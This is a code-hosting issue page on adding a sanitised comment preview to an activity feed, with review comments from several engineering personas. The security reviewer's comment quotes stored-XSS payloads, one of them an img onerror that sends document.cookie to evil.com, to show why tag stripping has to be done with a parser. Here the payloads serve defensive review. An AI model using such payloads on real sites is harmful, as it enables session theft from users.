marcel/familienarchiv
1
0
Fork 0
Code Issues 118 Pull Requests 2 Actions 4 Packages Projects Releases Wiki Activity

feat(chronik): add commentPreview field to ActivityFeedItemDTO #454

New Issue
Closed
opened 2026-05-07 09:24:58 +02:00 by marcel · 9 comments
marcel commented 2026-05-07 09:24:58 +02:00
Owner
Copy Link

Context

ChronikRow.svelte renders a placeholder ellipsis („…") for comment-type activity feed items because ActivityFeedItemDTO does not yet expose a commentPreview field. The placeholder was chosen deliberately to avoid duplicating the document title (Leonie, PR #288 review).

Problem

Comment rows in the Chronik feed show no content preview, reducing the usefulness of the activity timeline for readers trying to find a specific comment.

Acceptance criteria

  • ActivityFeedItemDTO gains a commentPreview: String field (truncated, tags stripped server-side — max ~120 chars)
  • Backend strips HTML tags before truncation — never expose raw HTML in the DTO
  • Frontend ChronikRow.svelte renders {item.commentPreview} via {text} binding — never {@html}
  • Truncation is graceful: line-clamp-1 on mobile, line-clamp-2 on sm+ (existing CSS already set)
  • npm run generate:api run after backend change

Security note

⚠️ When implementing, render the preview via {text} (plain text binding), never {@html}. The backend must truncate and strip tags server-side. XSS risk if raw HTML is passed through. (Nora, issue #285 comment #3552)

UX note

The preview must handle truncation gracefully for the 60+ audience — line-clamp with aria-label containing full text for screen readers. (Leonie)

Notes

Extracted from a TODO comment in ChronikRow.svelte:163 during CLEANUP-2 (#413).

## Context `ChronikRow.svelte` renders a placeholder ellipsis (`„…"`) for comment-type activity feed items because `ActivityFeedItemDTO` does not yet expose a `commentPreview` field. The placeholder was chosen deliberately to avoid duplicating the document title (Leonie, PR #288 review). ## Problem Comment rows in the Chronik feed show no content preview, reducing the usefulness of the activity timeline for readers trying to find a specific comment. ## Acceptance criteria - [ ] `ActivityFeedItemDTO` gains a `commentPreview: String` field (truncated, tags stripped server-side — max ~120 chars) - [ ] Backend strips HTML tags before truncation — never expose raw HTML in the DTO - [ ] Frontend `ChronikRow.svelte` renders `{item.commentPreview}` via `{text}` binding — **never `{@html}`** - [ ] Truncation is graceful: line-clamp-1 on mobile, line-clamp-2 on sm+ (existing CSS already set) - [ ] `npm run generate:api` run after backend change ## Security note ⚠️ When implementing, render the preview via `{text}` (plain text binding), never `{@html}`. The backend must truncate and strip tags server-side. XSS risk if raw HTML is passed through. (Nora, issue #285 comment #3552) ## UX note The preview must handle truncation gracefully for the 60+ audience — line-clamp with `aria-label` containing full text for screen readers. (Leonie) ## Notes Extracted from a TODO comment in `ChronikRow.svelte:163` during CLEANUP-2 (#413).
marcel added the P2-mediumfeature labels 2026-05-07 09:25:05 +02:00
marcel commented 2026-05-07 16:26:29 +02:00
Author
Owner
Copy Link

👨‍💻 Felix Brandt — Senior Fullstack Developer

Observations

  • DashboardService.getActivity() (line 114) already batch-loads comment data via CommentService.findAnnotationIdsByIds(). The preview belongs to the same batch pass — not a second round-trip.
  • DocumentComment.content is stored as raw HTML (TipTap output, TEXT column). It will contain <strong>, <em>, <p>, mention spans, etc. — server-side stripping is non-negotiable.
  • ActivityFeedRow interface lives in audit/ and does not need a getCommentPreview() method. The preview is document.comment domain data, not audit-log data. It's fetched separately, exactly as annotationId is fetched.
  • ChronikRow.svelte:162–169 already has the placeholder <p> with line-clamp-1 sm:line-clamp-2 font-serif text-sm text-ink-2 italic — only the content binding needs updating.
  • The ActivityFeedItemDTO is a Java record — adding a field means changing the constructor call in DashboardService.getActivity() at line 150.

Recommendations

Backend (in implementation order):

  1. Add findPreviewsByIds(Collection<UUID> commentIds): Map<UUID, String> to CommentService — batch fetch, strip HTML, truncate to 120 chars:
public Map<UUID, String> findPreviewsByIds(Collection<UUID> commentIds) {
    if (commentIds == null || commentIds.isEmpty()) return Map.of();
    Map<UUID, String> result = new HashMap<>();
    for (DocumentComment c : commentRepository.findAllById(commentIds)) {
        result.put(c.getId(), stripAndTruncate(c.getContent()));
    }
    return result;
}

private String stripAndTruncate(String html) {
    if (html == null || html.isBlank()) return "";
    String text = Jsoup.clean(html, Safelist.none()).trim();
    return text.length() > 120 ? text.substring(0, 120) : text;
}

Use Jsoup.clean() with Safelist.none() — not a regex. Regex stripping is bypassable.

  1. Add @Nullable String commentPreview to ActivityFeedItemDTO record with @Schema(requiredMode = NOT_REQUIRED).

  2. In DashboardService.getActivity(), extend the existing comment batch to also load previews:

Map<UUID, String> previewByComment = commentIds.isEmpty()
    ? Map.of()
    : commentService.findPreviewsByIds(commentIds);
// then in the row → DTO mapping:
String commentPreview = commentId != null ? previewByComment.get(commentId) : null;

Frontend:
Replace the placeholder paragraph body in ChronikRow.svelte:167–169:

{item.commentPreview ?? '„…"'}

The {text} binding is implicit in Svelte — no {@html}. This is correct. The fallback „…" preserves the current visual for the case where the preview is null (e.g. deleted comment).

TDD order:

  1. Failing unit test for CommentService.findPreviewsByIds() — HTML stripping, truncation at 120, empty/null input
  2. Failing unit test for DashboardService.getActivity() — commentPreview populated for COMMENT_ADDED, null for TEXT_SAVED
  3. Failing vitest-browser test for ChronikRow — variant === 'comment' shows preview text, not the placeholder

Open Decisions (omit this section entirely if none)

  • None — the implementation path is clear from the existing patterns.
## 👨‍💻 Felix Brandt — Senior Fullstack Developer ### Observations - `DashboardService.getActivity()` (line 114) already batch-loads comment data via `CommentService.findAnnotationIdsByIds()`. The preview belongs to the same batch pass — not a second round-trip. - `DocumentComment.content` is stored as raw HTML (TipTap output, `TEXT` column). It will contain `<strong>`, `<em>`, `<p>`, mention spans, etc. — server-side stripping is non-negotiable. - `ActivityFeedRow` interface lives in `audit/` and does **not** need a `getCommentPreview()` method. The preview is `document.comment` domain data, not audit-log data. It's fetched separately, exactly as `annotationId` is fetched. - `ChronikRow.svelte:162–169` already has the placeholder `<p>` with `line-clamp-1 sm:line-clamp-2 font-serif text-sm text-ink-2 italic` — only the content binding needs updating. - The `ActivityFeedItemDTO` is a Java record — adding a field means changing the constructor call in `DashboardService.getActivity()` at line 150. ### Recommendations **Backend (in implementation order):** 1. Add `findPreviewsByIds(Collection<UUID> commentIds): Map<UUID, String>` to `CommentService` — batch fetch, strip HTML, truncate to 120 chars: ```java public Map<UUID, String> findPreviewsByIds(Collection<UUID> commentIds) { if (commentIds == null || commentIds.isEmpty()) return Map.of(); Map<UUID, String> result = new HashMap<>(); for (DocumentComment c : commentRepository.findAllById(commentIds)) { result.put(c.getId(), stripAndTruncate(c.getContent())); } return result; } private String stripAndTruncate(String html) { if (html == null || html.isBlank()) return ""; String text = Jsoup.clean(html, Safelist.none()).trim(); return text.length() > 120 ? text.substring(0, 120) : text; } ``` Use `Jsoup.clean()` with `Safelist.none()` — not a regex. Regex stripping is bypassable. 2. Add `@Nullable String commentPreview` to `ActivityFeedItemDTO` record with `@Schema(requiredMode = NOT_REQUIRED)`. 3. In `DashboardService.getActivity()`, extend the existing comment batch to also load previews: ```java Map<UUID, String> previewByComment = commentIds.isEmpty() ? Map.of() : commentService.findPreviewsByIds(commentIds); // then in the row → DTO mapping: String commentPreview = commentId != null ? previewByComment.get(commentId) : null; ``` **Frontend:** Replace the placeholder paragraph body in `ChronikRow.svelte:167–169`: ```svelte {item.commentPreview ?? '„…"'} ``` The `{text}` binding is implicit in Svelte — no `{@html}`. This is correct. The fallback `„…"` preserves the current visual for the case where the preview is null (e.g. deleted comment). **TDD order:** 1. Failing unit test for `CommentService.findPreviewsByIds()` — HTML stripping, truncation at 120, empty/null input 2. Failing unit test for `DashboardService.getActivity()` — `commentPreview` populated for `COMMENT_ADDED`, null for `TEXT_SAVED` 3. Failing vitest-browser test for `ChronikRow` — `variant === 'comment'` shows preview text, not the placeholder ### Open Decisions _(omit this section entirely if none)_ - None — the implementation path is clear from the existing patterns.
marcel commented 2026-05-07 16:26:43 +02:00
Author
Owner
Copy Link

🏗️ Markus Keller — Application Architect

Observations

  • Module boundary is respected by design. DashboardService already crosses into document.comment via CommentService.findAnnotationIdsByIds(). The new preview lookup follows the exact same cross-domain call pattern. This is correct — DashboardService is the assembly point, not a domain boundary violation.
  • ActivityFeedRow interface should not grow. That interface projects audit-log columns. Comment body text is not in the audit log — it lives in document_comments. Adding a preview getter to ActivityFeedRow would require either (a) a join in the already-complex native SQL query or (b) a placeholder getter that always returns null from the real implementation. Both are worse than the batch-fetch approach already in place.
  • The native SQL in AuditLogQueryRepository.findRolledUpActivityFeed() is already complex (~100 lines). Do not add a JOIN to document_comments there. The batch-fetch separation keeps the audit query pure and the comment fetch lazy.
  • No Flyway migration needed. The change is entirely in application code and the OpenAPI DTO — no schema change.
  • Docs impact: No C4 diagram changes. No DB diagram changes. ActivityFeedItemDTO is a DTO, not an entity.

Recommendations

  • Keep findPreviewsByIds() on CommentService, not on DashboardService. CommentService owns the comment domain; preview generation (strip + truncate) is comment business logic, not dashboard logic.
  • The stripAndTruncate helper should be private on CommentService — it has no value as a public utility.
  • Add @Schema(requiredMode = NOT_REQUIRED, description = "Plain-text preview of the comment body; null for non-comment feed items or deleted comments.") on the new commentPreview field to drive accurate TypeScript codegen. Missing description on this field would leave the frontend team guessing when it's populated.
  • After adding the field to the record, the compiler will flag the single ActivityFeedItemDTO(...) construction site in DashboardService.getActivity() — use that as a natural forcing function rather than searching for call sites manually.

Open Decisions (omit this section entirely if none)

  • Where to truncate — backend or frontend? The issue specifies backend truncation (correct). Just flagging: some teams prefer to send full text and truncate client-side for flexibility. Backend truncation is the right call here — it keeps the payload bounded and avoids re-stripping in the client. No action needed, just confirming the decision.
## 🏗️ Markus Keller — Application Architect ### Observations - **Module boundary is respected by design.** `DashboardService` already crosses into `document.comment` via `CommentService.findAnnotationIdsByIds()`. The new preview lookup follows the exact same cross-domain call pattern. This is correct — `DashboardService` is the assembly point, not a domain boundary violation. - **`ActivityFeedRow` interface should not grow.** That interface projects audit-log columns. Comment body text is not in the audit log — it lives in `document_comments`. Adding a preview getter to `ActivityFeedRow` would require either (a) a join in the already-complex native SQL query or (b) a placeholder getter that always returns null from the real implementation. Both are worse than the batch-fetch approach already in place. - **The native SQL in `AuditLogQueryRepository.findRolledUpActivityFeed()` is already complex** (~100 lines). Do not add a JOIN to `document_comments` there. The batch-fetch separation keeps the audit query pure and the comment fetch lazy. - **No Flyway migration needed.** The change is entirely in application code and the OpenAPI DTO — no schema change. - **Docs impact:** No C4 diagram changes. No DB diagram changes. `ActivityFeedItemDTO` is a DTO, not an entity. ### Recommendations - Keep `findPreviewsByIds()` on `CommentService`, not on `DashboardService`. `CommentService` owns the comment domain; preview generation (strip + truncate) is comment business logic, not dashboard logic. - The `stripAndTruncate` helper should be `private` on `CommentService` — it has no value as a public utility. - Add `@Schema(requiredMode = NOT_REQUIRED, description = "Plain-text preview of the comment body; null for non-comment feed items or deleted comments.")` on the new `commentPreview` field to drive accurate TypeScript codegen. Missing description on this field would leave the frontend team guessing when it's populated. - After adding the field to the record, the compiler will flag the single `ActivityFeedItemDTO(...)` construction site in `DashboardService.getActivity()` — use that as a natural forcing function rather than searching for call sites manually. ### Open Decisions _(omit this section entirely if none)_ - **Where to truncate — backend or frontend?** The issue specifies backend truncation (correct). Just flagging: some teams prefer to send full text and truncate client-side for flexibility. Backend truncation is the right call here — it keeps the payload bounded and avoids re-stripping in the client. No action needed, just confirming the decision.
marcel commented 2026-05-07 16:26:58 +02:00
Author
Owner
Copy Link

🔒 Nora "NullX" Steiner — Security Engineer

Observations

The issue already flags the XSS risk and specifies both the correct backend fix (strip server-side) and the correct frontend binding ({text} not {@html}). That's exactly right. My job here is to make sure the implementation doesn't undermine those intentions.

CWE-79 (Stored XSS) — risk present if stripping is regex-based.
DocumentComment.content is TipTap HTML. A comment could contain:

<script>alert(1)</script>
<img src=x onerror="fetch('https://evil.com/?c='+document.cookie)">
<a href="javascript:void(0)" onclick="...">

Regex-based stripping (content.replaceAll("<[^>]*>", "")) is bypassable with malformed or nested tags (<sc<script>ript>). Use Jsoup.clean(html, Safelist.none()) — it parses the HTML into a DOM and serializes only the text nodes. This is not bypassable.

{text} binding in Svelte 5 is safe. Svelte's {expression} interpolation uses textContent assignment internally — not innerHTML. There is no XSS risk when using {item.commentPreview} without {@html}. Confirm this is enforced via code review; the danger is a future developer "upgrading" to {@html} to preserve formatting, not realizing the XSS risk.

Deleted comment edge case — not a security concern, but worth noting. If commentId in the audit log points to a deleted comment, findAllById() in CommentService will simply not return it. The preview will be null. This is correct behaviour — no error, no data leak.

Recommendations

  1. Enforce Jsoup, not regex. In the stripAndTruncate helper:
// GOOD — DOM-based parsing, cannot be bypassed with malformed HTML
String text = Jsoup.clean(html, Safelist.none()).trim();

// BAD — bypassable with nested/malformed tags
String text = html.replaceAll("<[^>]*>", "");

If Jsoup is not yet in pom.xml, add it. It's already a standard dependency in this stack (Spring uses it transitively in places, but declare it explicitly).

  1. Add a regression test that specifically proves HTML is stripped:
@Test
void findPreviewsByIds_strips_html_tags() {
    UUID id = UUID.randomUUID();
    when(commentRepository.findAllById(List.of(id)))
        .thenReturn(List.of(makeComment(id, "<p><strong>Hello</strong> world</p>")));
    Map<UUID, String> result = commentService.findPreviewsByIds(List.of(id));
    assertThat(result.get(id)).isEqualTo("Hello world");
}

This test stays in the suite permanently. If someone replaces Jsoup with regex in the future, this test catches the gap.

  1. Add a note on the commentPreview DTO field (@Schema description) that reads "plain-text, HTML stripped server-side" — it serves as inline documentation for future developers who might be tempted to render it as markup.

Open Decisions (omit this section entirely if none)

  • None. The security model is clear: strip on the backend, render as text on the frontend.
## 🔒 Nora "NullX" Steiner — Security Engineer ### Observations The issue already flags the XSS risk and specifies both the correct backend fix (strip server-side) and the correct frontend binding (`{text}` not `{@html}`). That's exactly right. My job here is to make sure the implementation doesn't undermine those intentions. **CWE-79 (Stored XSS) — risk present if stripping is regex-based.** `DocumentComment.content` is TipTap HTML. A comment could contain: ```html <script>alert(1)</script> <img src=x onerror="fetch('https://evil.com/?c='+document.cookie)"> <a href="javascript:void(0)" onclick="..."> ``` Regex-based stripping (`content.replaceAll("<[^>]*>", "")`) is bypassable with malformed or nested tags (`<sc<script>ript>`). **Use `Jsoup.clean(html, Safelist.none())`** — it parses the HTML into a DOM and serializes only the text nodes. This is not bypassable. **`{text}` binding in Svelte 5 is safe.** Svelte's `{expression}` interpolation uses `textContent` assignment internally — not `innerHTML`. There is no XSS risk when using `{item.commentPreview}` without `{@html}`. Confirm this is enforced via code review; the danger is a future developer "upgrading" to `{@html}` to preserve formatting, not realizing the XSS risk. **Deleted comment edge case — not a security concern, but worth noting.** If `commentId` in the audit log points to a deleted comment, `findAllById()` in `CommentService` will simply not return it. The preview will be null. This is correct behaviour — no error, no data leak. ### Recommendations 1. **Enforce Jsoup, not regex.** In the `stripAndTruncate` helper: ```java // GOOD — DOM-based parsing, cannot be bypassed with malformed HTML String text = Jsoup.clean(html, Safelist.none()).trim(); // BAD — bypassable with nested/malformed tags String text = html.replaceAll("<[^>]*>", ""); ``` If Jsoup is not yet in `pom.xml`, add it. It's already a standard dependency in this stack (Spring uses it transitively in places, but declare it explicitly). 2. **Add a regression test that specifically proves HTML is stripped:** ```java @Test void findPreviewsByIds_strips_html_tags() { UUID id = UUID.randomUUID(); when(commentRepository.findAllById(List.of(id))) .thenReturn(List.of(makeComment(id, "<p><strong>Hello</strong> world</p>"))); Map<UUID, String> result = commentService.findPreviewsByIds(List.of(id)); assertThat(result.get(id)).isEqualTo("Hello world"); } ``` This test stays in the suite permanently. If someone replaces Jsoup with regex in the future, this test catches the gap. 3. **Add a note on the `commentPreview` DTO field** (`@Schema description`) that reads "plain-text, HTML stripped server-side" — it serves as inline documentation for future developers who might be tempted to render it as markup. ### Open Decisions _(omit this section entirely if none)_ - None. The security model is clear: strip on the backend, render as text on the frontend.
marcel commented 2026-05-07 16:27:11 +02:00
Author
Owner
Copy Link

🧪 Sara Holt — QA Engineer

Observations

The acceptance criteria are mostly testable, but several edge cases and test scenarios are unspecified. The existing comment batch-fetch pattern (findAnnotationIdsByIds) is a useful reference for what tests already exist and what gaps remain.

I checked DashboardServiceTest.java — existing tests cover getActivity() at a high level but do not exercise the comment preview path (it doesn't exist yet). The tests for CommentService don't cover a findPreviewsByIds() method (also doesn't exist yet).

Recommendations

Unit layer — CommentServiceTest additions needed:

  1. findPreviewsByIds_returns_empty_map_when_input_is_empty() — guard clause
  2. findPreviewsByIds_strips_html_and_truncates_to_120_chars() — core behaviour
  3. findPreviewsByIds_truncates_at_exactly_120_chars() — boundary condition (121 chars → 120, 120 chars → unchanged)
  4. findPreviewsByIds_returns_empty_string_for_blank_content() — empty/whitespace comment
  5. findPreviewsByIds_skips_deleted_comments_gracefully() — findAllById returns fewer results than requested; missing IDs must produce no entry in the result map (not null, not an exception)

Unit layer — DashboardServiceTest additions:
6. getActivity_populates_commentPreview_for_COMMENT_ADDED_rows() — happy path
7. getActivity_leaves_commentPreview_null_for_TEXT_SAVED_rows() — non-comment kinds
8. getActivity_leaves_commentPreview_null_when_comment_not_found() — deleted comment

Component layer — ChronikRow spec additions:
9. renders comment preview text when variant is comment and commentPreview is present
10. renders placeholder ellipsis when variant is comment and commentPreview is null
11. does not render preview paragraph for non-comment variants — ensures regression safety

Edge case not in AC — deleted comment:
The issue specifies the happy path and the stripping/truncation rules but does not specify behaviour when the commentId in the audit log refers to a comment that was subsequently deleted. The findAllById() call will silently omit deleted comments from the result map, so commentPreview will be null. This is the correct behaviour — the spec should say so explicitly to prevent someone adding a fallback that throws or logs a warning.

"~120 chars" is not testable as written. The tilde makes the boundary ambiguous. Nail it down to exactly 120 characters (post-strip) before implementation starts.

Open Decisions (omit this section entirely if none)

  • Exact truncation limit: The issue says "max ~120 chars." Should it be 120 exactly? The test for boundary condition (item 3 above) requires an exact number. Pick one and remove the tilde from the AC.
## 🧪 Sara Holt — QA Engineer ### Observations The acceptance criteria are mostly testable, but several edge cases and test scenarios are unspecified. The existing comment batch-fetch pattern (`findAnnotationIdsByIds`) is a useful reference for what tests already exist and what gaps remain. I checked `DashboardServiceTest.java` — existing tests cover `getActivity()` at a high level but do not exercise the comment preview path (it doesn't exist yet). The tests for `CommentService` don't cover a `findPreviewsByIds()` method (also doesn't exist yet). ### Recommendations **Unit layer — `CommentServiceTest` additions needed:** 1. `findPreviewsByIds_returns_empty_map_when_input_is_empty()` — guard clause 2. `findPreviewsByIds_strips_html_and_truncates_to_120_chars()` — core behaviour 3. `findPreviewsByIds_truncates_at_exactly_120_chars()` — boundary condition (121 chars → 120, 120 chars → unchanged) 4. `findPreviewsByIds_returns_empty_string_for_blank_content()` — empty/whitespace comment 5. `findPreviewsByIds_skips_deleted_comments_gracefully()` — `findAllById` returns fewer results than requested; missing IDs must produce no entry in the result map (not null, not an exception) **Unit layer — `DashboardServiceTest` additions:** 6. `getActivity_populates_commentPreview_for_COMMENT_ADDED_rows()` — happy path 7. `getActivity_leaves_commentPreview_null_for_TEXT_SAVED_rows()` — non-comment kinds 8. `getActivity_leaves_commentPreview_null_when_comment_not_found()` — deleted comment **Component layer — `ChronikRow` spec additions:** 9. `renders comment preview text when variant is comment and commentPreview is present` 10. `renders placeholder ellipsis when variant is comment and commentPreview is null` 11. `does not render preview paragraph for non-comment variants` — ensures regression safety **Edge case not in AC — deleted comment:** The issue specifies the happy path and the stripping/truncation rules but does not specify behaviour when the `commentId` in the audit log refers to a comment that was subsequently deleted. The `findAllById()` call will silently omit deleted comments from the result map, so `commentPreview` will be null. This is the correct behaviour — the spec should say so explicitly to prevent someone adding a fallback that throws or logs a warning. **"~120 chars" is not testable as written.** The tilde makes the boundary ambiguous. Nail it down to exactly 120 characters (post-strip) before implementation starts. ### Open Decisions _(omit this section entirely if none)_ - **Exact truncation limit:** The issue says "max ~120 chars." Should it be 120 exactly? The test for boundary condition (item 3 above) requires an exact number. Pick one and remove the tilde from the AC.
marcel commented 2026-05-07 16:28:49 +02:00
Author
Owner
Copy Link

🎨 Leonie Voss — UX Designer & Accessibility Strategist

Observations

The existing ChronikRow.svelte placeholder is already styled correctly for when the preview arrives: line-clamp-1 sm:line-clamp-2 font-serif text-sm text-ink-2 italic. That's consistent with the brand (Tinos serif for body content), readable at the minimum 14px equivalent on mobile, and the clamp behaviour is correct for the dual-audience split (single line on narrow screens, two on wider).

The issue mentions aria-label for screen readers — but the current markup doesn't show where this would go. Looking at the component: the whole row is wrapped in <a href={rowHref}>. The aria-label on the <a> is the correct placement — it overrides the link's accessible name for screen readers, letting you include the full preview text without it appearing on screen.

Recommendations

  1. Add aria-label to the <a> wrapper, not the preview <p>. A screen reader announces link text, not paragraph text inside a link. The current <a> has no aria-label — add one for the comment variant:
<a
  href={rowHref}
  aria-label={variant === 'comment' && item.commentPreview
    ? `${actorName} ${m.chronik_comment_added({ actor: '', doc: docTitle }).trim()} — ${item.commentPreview}`
    : undefined}
  ...
>

This gives screen reader users the full context without visual duplication. For non-comment variants, let the link text speak for itself.

  1. Specify the empty-preview fallback. When commentPreview is null or empty string, the current placeholder „…" is the right visual to preserve — it signals "there's a comment here but the preview isn't available." Don't hide the preview paragraph entirely on null, or the row height changes, causing layout shift in the feed.

  2. italic on the preview text is good — it visually differentiates quoted content from the action verb above it. This is appropriate and consistent with the document transcription context of the Familienarchiv.

  3. Touch target check: The row uses p-3 (12px padding) on the <a> which gives a minimum hit area of ~48px vertically on most rows. The preview paragraph adds height, which only increases the touch target. ✓

  4. Color check: text-ink-2 on bg-surface — verify this meets the AA 4.5:1 minimum. The ink-2 token is used throughout for secondary text and should be verified against the actual bg-surface value in layout.css if it hasn't been already.

Open Decisions (omit this section entirely if none)

  • MENTION_CREATED rows — should they also show a preview? The variant computation assigns 'for-you' (not 'comment') to mention rows, so they currently won't get the preview paragraph. If mentions should also show a snippet of the comment they're from, that's an additive UI change worth deciding now rather than as a follow-up.
## 🎨 Leonie Voss — UX Designer & Accessibility Strategist ### Observations The existing `ChronikRow.svelte` placeholder is already styled correctly for when the preview arrives: `line-clamp-1 sm:line-clamp-2 font-serif text-sm text-ink-2 italic`. That's consistent with the brand (Tinos serif for body content), readable at the minimum 14px equivalent on mobile, and the clamp behaviour is correct for the dual-audience split (single line on narrow screens, two on wider). The issue mentions `aria-label` for screen readers — but the current markup doesn't show where this would go. Looking at the component: the whole row is wrapped in `<a href={rowHref}>`. The `aria-label` on the `<a>` is the correct placement — it overrides the link's accessible name for screen readers, letting you include the full preview text without it appearing on screen. ### Recommendations 1. **Add `aria-label` to the `<a>` wrapper, not the preview `<p>`.** A screen reader announces link text, not paragraph text inside a link. The current `<a>` has no `aria-label` — add one for the comment variant: ```svelte <a href={rowHref} aria-label={variant === 'comment' && item.commentPreview ? `${actorName} ${m.chronik_comment_added({ actor: '', doc: docTitle }).trim()} — ${item.commentPreview}` : undefined} ... > ``` This gives screen reader users the full context without visual duplication. For non-comment variants, let the link text speak for itself. 2. **Specify the empty-preview fallback.** When `commentPreview` is null or empty string, the current placeholder `„…"` is the right visual to preserve — it signals "there's a comment here but the preview isn't available." Don't hide the preview paragraph entirely on null, or the row height changes, causing layout shift in the feed. 3. **`italic` on the preview text is good** — it visually differentiates quoted content from the action verb above it. This is appropriate and consistent with the document transcription context of the Familienarchiv. 4. **Touch target check:** The row uses `p-3` (12px padding) on the `<a>` which gives a minimum hit area of ~48px vertically on most rows. The preview paragraph adds height, which only increases the touch target. ✓ 5. **Color check:** `text-ink-2` on `bg-surface` — verify this meets the AA 4.5:1 minimum. The `ink-2` token is used throughout for secondary text and should be verified against the actual `bg-surface` value in `layout.css` if it hasn't been already. ### Open Decisions _(omit this section entirely if none)_ - **`MENTION_CREATED` rows — should they also show a preview?** The `variant` computation assigns `'for-you'` (not `'comment'`) to mention rows, so they currently won't get the preview paragraph. If mentions should also show a snippet of the comment they're from, that's an additive UI change worth deciding now rather than as a follow-up.
marcel commented 2026-05-07 16:28:50 +02:00
Author
Owner
Copy Link

⚙️ Tobias Wendt — DevOps & Platform Engineer

Observations

This is a pure application-layer change — no schema migrations, no new services, no Compose changes. From an infrastructure perspective, this is low-risk.

The one operational concern worth flagging: DashboardService.getActivity() is called on the Chronik page load. It already makes two batch database calls after the main audit query (document titles + annotation IDs). Adding a third (findPreviewsByIds) means three sequential round-trips to the database for each activity feed page load.

I checked the existing load: the audit query is native SQL and returns up to 50 rows. The follow-up findAllById calls are Spring Data batch fetches — single IN queries. At the current scale (family archive, tens of users), three IN queries is negligible. Flag this only if the Chronik page ever appears in a slow-query alert on Grafana.

Recommendations

  1. Combine the two commentIds lookups into a single pass. DashboardService.getActivity() currently calls:

    • commentService.findAnnotationIdsByIds(commentIds) — fetches annotationId per comment
    • (new) commentService.findPreviewsByIds(commentIds) — fetches preview per comment

    Both iterate commentRepository.findAllById(commentIds). That's two identical SELECT ... WHERE id IN (...) queries for the same rows. Combine into a single method that returns both in one fetch:

    record CommentData(UUID annotationId, String preview) {}
Map<UUID, CommentData> commentService.findDataByIds(Collection<UUID> commentIds)

    This halves the database round-trips for this path. The implementation is straightforward since both methods already call findAllById on the same entity.

  2. npm run generate:api is already in the AC — make sure CI fails if the generated types are stale. If there's no check for this in the CI pipeline yet, it's worth adding a step that regenerates and diffs.

  3. Jsoup as a dependency: If Jsoup is not already declared in pom.xml, add it explicitly. Don't rely on transitive inclusion — transitive deps can be excluded by an upstream upgrade.

Open Decisions (omit this section entirely if none)

  • None from a DevOps angle. No infrastructure decisions required.
## ⚙️ Tobias Wendt — DevOps & Platform Engineer ### Observations This is a pure application-layer change — no schema migrations, no new services, no Compose changes. From an infrastructure perspective, this is low-risk. The one operational concern worth flagging: `DashboardService.getActivity()` is called on the Chronik page load. It already makes two batch database calls after the main audit query (document titles + annotation IDs). Adding a third (`findPreviewsByIds`) means three sequential round-trips to the database for each activity feed page load. I checked the existing load: the audit query is native SQL and returns up to 50 rows. The follow-up `findAllById` calls are Spring Data batch fetches — single `IN` queries. At the current scale (family archive, tens of users), three `IN` queries is negligible. Flag this only if the Chronik page ever appears in a slow-query alert on Grafana. ### Recommendations 1. **Combine the two `commentIds` lookups into a single pass.** `DashboardService.getActivity()` currently calls: - `commentService.findAnnotationIdsByIds(commentIds)` — fetches `annotationId` per comment - (new) `commentService.findPreviewsByIds(commentIds)` — fetches preview per comment Both iterate `commentRepository.findAllById(commentIds)`. That's two identical `SELECT ... WHERE id IN (...)` queries for the same rows. Combine into a single method that returns both in one fetch: ```java record CommentData(UUID annotationId, String preview) {} Map<UUID, CommentData> commentService.findDataByIds(Collection<UUID> commentIds) ``` This halves the database round-trips for this path. The implementation is straightforward since both methods already call `findAllById` on the same entity. 2. **`npm run generate:api` is already in the AC** — make sure CI fails if the generated types are stale. If there's no check for this in the CI pipeline yet, it's worth adding a step that regenerates and diffs. 3. **Jsoup as a dependency:** If Jsoup is not already declared in `pom.xml`, add it explicitly. Don't rely on transitive inclusion — transitive deps can be excluded by an upstream upgrade. ### Open Decisions _(omit this section entirely if none)_ - None from a DevOps angle. No infrastructure decisions required.
marcel commented 2026-05-07 16:28:51 +02:00
Author
Owner
Copy Link

📋 Elicit — Requirements Engineer

Observations

The issue is well-structured for a backlog item of this size — it has a clear problem statement, explicit security notes, and a useful UX note. The acceptance criteria are mostly testable. A few precision gaps will create ambiguity at implementation time.

Gap 1 — "~120 chars" is not a testable criterion.
max ~120 chars has no definitive boundary. A test for "exactly 120 chars input → not truncated, 121 chars input → truncated to 120" cannot be written against ~. Pick a number and remove the tilde. Recommend: 120 exactly.

Gap 2 — Deleted comment behaviour is unspecified.
The audit log permanently records COMMENT_ADDED events. Comments can be deleted after posting. The spec does not say what commentPreview should contain when the referenced comment no longer exists. Without this, different implementers could choose:

  • null (silent)
  • empty string ""
  • a placeholder like "[deleted]"
  • an error/warning in logs

Recommend: specify null — the feed item still links to the document; the missing preview is a graceful degradation. Add an AC: "If the comment has been deleted, commentPreview is null."

Gap 3 — MENTION_CREATED scope not addressed.
The issue specifies the preview for COMMENT_ADDED rows. MENTION_CREATED rows display as variant === 'for-you' in ChronikRow.svelte, not variant === 'comment'. They also carry a commentId in the DTO. The issue is silent on whether those rows should also show a preview paragraph.

If the answer is "not this issue," the AC should say so: "Preview is shown only for variant === 'comment' rows; for-you rows are out of scope for this issue."

Gap 4 — Empty-after-stripping case.
A comment containing only an image (<img src="...">) would produce an empty string after HTML stripping. The AC doesn't specify how an empty preview should be rendered (show nothing? show „…"?). The UX note from Leonie (preserve the placeholder height to avoid layout shift) suggests the visual fallback should be „…", but it's not written into the spec.

Recommendations

Suggested AC additions before implementation starts:

  • Truncation limit is exactly 120 characters (post-strip, before any ellipsis suffix)
  • When the referenced comment has been deleted, commentPreview is null
  • When commentPreview is null or empty, the frontend shows the existing placeholder „…" (no layout shift)
  • Preview is shown only for variant === 'comment' (COMMENT_ADDED kind); MENTION_CREATED rows are out of scope

Open Decisions (omit this section entirely if none)

  • MENTION_CREATED rows: Should they also show a comment preview? They carry a commentId and the same commentPreview field would be populated. The variant computation assigns them 'for-you' today — showing a preview there too would require a UI change to the for-you variant. Decide before implementation so the frontend work is scoped correctly.
  • Truncation ellipsis: Should the 120-char truncation append an ellipsis (…)? Some implementations do text.substring(0, 117) + "…" to signal the text is cut. Others truncate at the word boundary. Neither is specified — pick one.
